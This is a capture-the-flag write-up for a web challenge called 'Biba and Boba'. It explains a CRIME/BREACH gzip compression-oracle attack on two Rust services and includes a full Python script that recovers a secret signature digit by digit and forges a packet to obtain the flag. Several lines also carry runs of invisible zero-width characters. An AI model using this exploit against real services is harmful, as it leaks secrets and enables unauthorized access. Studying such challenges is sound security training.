← Back to Writeups
HTBN/AWeb

Biba and Boba

XESXOR8/23/20265 min read
#web#htb#n/a

Biba and Boba

Platform: Miptctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-14 | Status: Solved Techniques: binary_search_oracle, bincode_forgery, compression_oracle, crime_breach_attack

Summary

Task: Two Rust services where user input is compressed with a secret signature using gzip. Solution: CRIME/BREACH compression oracle attack - binary search for compression threshold to leak SECRET digit by digit, then forge valid bincode packet.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: miptctf | ID: 20260314_miptctf_biba_and_boba
  • Tags: side_channel, gzip, compression, rust, actix_web, bincode, two_services
  • Indicators: user input compressed with secret, gzip compression level 9, size limit on compressed payload, bincode serialization, two services sharing secret
  • Source: 20260314_miptctf_biba_and_boba.md

Foothold

Vulnerability / Misconfiguration

  1. Binary_search_oracle
  2. Bincode_forgery
  3. Compression_oracle
  4. Crime_breach_attack
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • binary_search_oracle
  • bincode_forgery
  • compression_oracle
  • crime_breach_attack
  • Tags: side_channel, gzip, compression, rust, actix_web, bincode, two_services

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Самый быстрый 🚀 и безопасный 🧡 сервис 🦀, что вы когда-либо видели. ✨

Two Rust (actix-web) services in one Docker container:

  • Biba (port 8080) — sender: /send, /admin, /admin/ping, /admin/check_file
  • Boba (port 8081) — receiver: /submit, /reports/create, /reports, /debug/flag_template, /debug/flag_checksum

Analysis

Architecture

  1. Biba's /send: accepts user text, creates Packet{signature: SECRET, message: user_text, time: server_time}, serializes with bincode, compresses with gzip level 9, sends POST to Boba's /submit ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  2. Boba's /submit: checks compressed size ≤ 1024 bytes, decompresses gzip (max 16KB), deserializes bincode, compares packet.signature == data.signature. If match → returns FLAG (HTTP 200). If not → "wrong signature!!" (HTTP 401)

  3. Biba hides the flag: if Boba returned 2xx — shows "Sent in X seconds", if non-2xx — shows error body

  4. SECRET: SECRET + 10 random digits (e.g. SECRET7597565483)

  5. Hint in code: // Deserialize (is it safe?)

Debug endpoints on Boba

  • /debug/flag_templateMIPT{???_???????_????_???????_??????????} (masks alphanumeric characters)
  • /debug/flag_checksum → MD5 of the flag ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability: Compression Oracle (CRIME/BREACH)

Critical vulnerability: user data (message) is compressed together with secret data (signature) via gzip. Combined with a binary oracle (Boba rejects compressed payloads > 1024 bytes), this creates a classic compression side-channel attack.

How the oracle works:

  1. Biba serializes Packet{signature, message, time} with bincode into a single byte stream: [sig_len][sig_bytes][msg_len][msg_bytes][time_len][time_bytes]
  2. The entire stream is compressed with gzip level 9
  3. Gzip (LZ77) finds repeating patterns and replaces them with back-references
  4. If message contains bytes matching signature, gzip compresses better (smaller output)
  5. Boba rejects if compressed size > 1024 bytes — this is our binary oracle ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Exploitation:

For each digit position (0-9) of the unknown SECRET suffix:

  1. Add current guess (e.g. SECRET7) + padding to 16 characters at the start of message
  2. Fill the rest with random data to bring compressed size close to the 1024 byte boundary
  3. Binary search for maximum message length that still gives compressed size ≤ 1024 (HTTP 200 from Biba)
  4. Correct digit gives 1 byte better compression, meaning threshold is 1 character higher
  5. Digit with highest threshold is correct

Key measurements:

  • Threshold for random data: ~1244 characters
  • Each correct digit shifts threshold by exactly 1
  • After 10 iterations all 10 digits are recovered ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

#!/usr/bin/env python3
"""
Compression Oracle (CRIME/BREACH) attack on biba_and_boba.
Cracks SECRET digit-by-digit using gzip compression size as oracle.
"""

import requests, random, string, struct, gzip, sys, time

BIBA = sys.argv[1] if len(sys.argv) > 1 else "http://TARGET:BIBA_PORT"
BOBA = sys.argv[2] if len(sys.argv) > 2 else "http://TARGET:BOBA_PORT"

random.seed(42)
BASE = "".join(random.choices(string.ascii_letters + string.digits, k=3000))

session = requests.Session()


def send_msg(text, retries=3):
    for _ in range(retries):
        try:
            r = session.post(f"{BIBA}/send", data={"text": text}, timeout=30)
            return r.status_code == 200
        except:
            time.sleep(0.5)
    return None
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍


def find_threshold(prefix):
    padded = prefix + BASE[len(prefix) : 16]
    lo, hi = 1150, 1400
    for _ in range(25):
        if hi - lo <= 1:
            break
        mid = (lo + hi) // 2
        msg = padded + BASE[16:mid]
        r = send_msg(msg)
        if r is None:
            print("      [!] Network error, retrying...")
            time.sleep(1)
            r = send_msg(msg)
            if r is None:
                continue
        if r:
            lo = mid
        else:
            hi = mid
    return lo, hi
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍


def crack():
    known = "SECRET"
    for pos in range(10):
        print(f"\n[*] Digit {pos + 1}/10 (known: {known})")
        results = {}
        for digit in "0123456789":
            guess = known + digit
            lo, hi = find_threshold(guess)
            results[digit] = lo
            print(f"    {guess}: {lo}-{hi}")

        sorted_r = sorted(results.items(), key=lambda x: x[1], reverse=True)
        best = sorted_r[0]
        second = sorted_r[1]

        diff = best[1] - second[1]
        known += best[0]
        print(f"    => digit={best[0]} (diff={diff}) | SECRET={known}")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    return known


def get_flag(secret):
    def bs(s):
        b = s.encode()
        return struct.pack("<Q", len(b)) + b

    payload = bs(secret) + bs("x") + bs("t")
    compressed = gzip.compress(payload, compresslevel=9)
    r = session.post(
        f"{BOBA}/submit",
        data=compressed,
        headers={"Content-Type": "application/octet-stream"},
        timeout=30,
    )
    return r.status_code, r.text


# Verify connectivity
print(f"[*] BIBA={BIBA}  BOBA={BOBA}")
try:
    r = session.get(f"{BIBA}/", timeout=10)
    print(f"[*] Biba OK: {r.status_code}")
    r = session.get(f"{BOBA}/debug/flag_template", timeout=10)
    print(f"[*] Flag template: {r.text.strip()}")
except Exception as e:
    print(f"[!] Connection error: {e}")
    sys.exit(1)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

secret = crack()
print(f"\n[+] SECRET = {secret}")

code, body = get_flag(secret)
print(f"[+] {code}: {body}")

Solution steps

  1. Reconnaissance: discovered two services, debug endpoints, confirmed shared filesystem
  2. Code analysis: user message is compressed TOGETHER with secret signature in one gzip stream
  3. Binary oracle discovered: Boba rejects compressed payloads > 1024 bytes
  4. Implemented compression oracle: for each digit, correct guess compresses 1 byte better
  5. Cracked SECRET character by character (10 digits × 10 variants = ~100 requests per digit, ~1000 total)
  6. Crafted valid bincode+gzip packet with cracked SECRET
  7. Sent directly to Boba's /submit → got the flag ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR